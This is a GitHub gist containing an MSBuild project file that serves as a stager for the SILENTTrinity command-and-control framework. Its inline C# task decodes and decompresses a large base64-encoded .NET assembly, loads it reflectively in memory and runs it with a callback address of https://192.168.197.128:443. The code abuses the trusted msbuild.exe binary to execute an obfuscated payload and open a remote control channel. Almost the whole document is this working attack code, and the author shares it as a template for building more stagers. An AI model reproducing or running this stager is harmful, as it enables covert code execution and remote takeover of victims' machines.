Skip to content

Instantly share code, notes, and snippets.

@TheWover
Created January 24, 2019 03:08
Show Gist options
  • Save TheWover/11b6509623291b7757918baf17248f72 to your computer and use it in GitHub Desktop.
Save TheWover/11b6509623291b7757918baf17248f72 to your computer and use it in GitHub Desktop.
MSBuild stager for SILENTTrinity. Copied so that I can build custom stagers with this as an example.
<Project ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
<!-- This inline task executes c# code. -->
<!-- C:\Windows\Microsoft.NET\Framework64\v4.0.30319\msbuild.exe msbuild.xml -->
<Target Name="Hello">
<ST >
</ST>
</Target>
<UsingTask
TaskName="ST"
TaskFactory="CodeTaskFactory"
AssemblyFile="C:\Windows\Microsoft.Net\Framework\v4.0.30319\Microsoft.Build.Tasks.v4.0.dll" >
<ParameterGroup/>
<Task>
<Using Namespace="System" />
<Using Namespace="System.Reflection" />
<Using Namespace="System.IO" />
<Using Namespace="System.IO.Compression" />
<Code Type="Fragment" Language="cs">
<![CDATA[
string url = "https://192.168.197.128:443";
string channel = "http";
// ----- DO NOT EDIT BELOW HERE -----
string b64 = "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";
object[] args = new object[] { new string[] { url, channel } };
byte[] compressed = System.Convert.FromBase64String(b64);
using (MemoryStream inputStream = new MemoryStream(compressed.Length))
{
inputStream.Write(compressed, 0, compressed.Length);
inputStream.Seek(0, SeekOrigin.Begin);
using (MemoryStream outputStream = new MemoryStream())
{
using (DeflateStream deflateStream = new DeflateStream(inputStream, CompressionMode.Decompress))
{
byte[] buffer = new byte[4096];
int bytesRead;
while ((bytesRead = deflateStream.Read(buffer, 0, buffer.Length)) != 0)
{
outputStream.Write(buffer, 0, bytesRead);
}
}
Assembly a = Assembly.Load(outputStream.ToArray());
Type t = a.GetType("ST");
object classInstance = Activator.CreateInstance(t, null);
MethodInfo methodInfo = t.GetMethod("main");
methodInfo.Invoke(classInstance, new object[] { url, channel });
}
}
]]>
</Code>
</Task>
</UsingTask>
</Project>
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment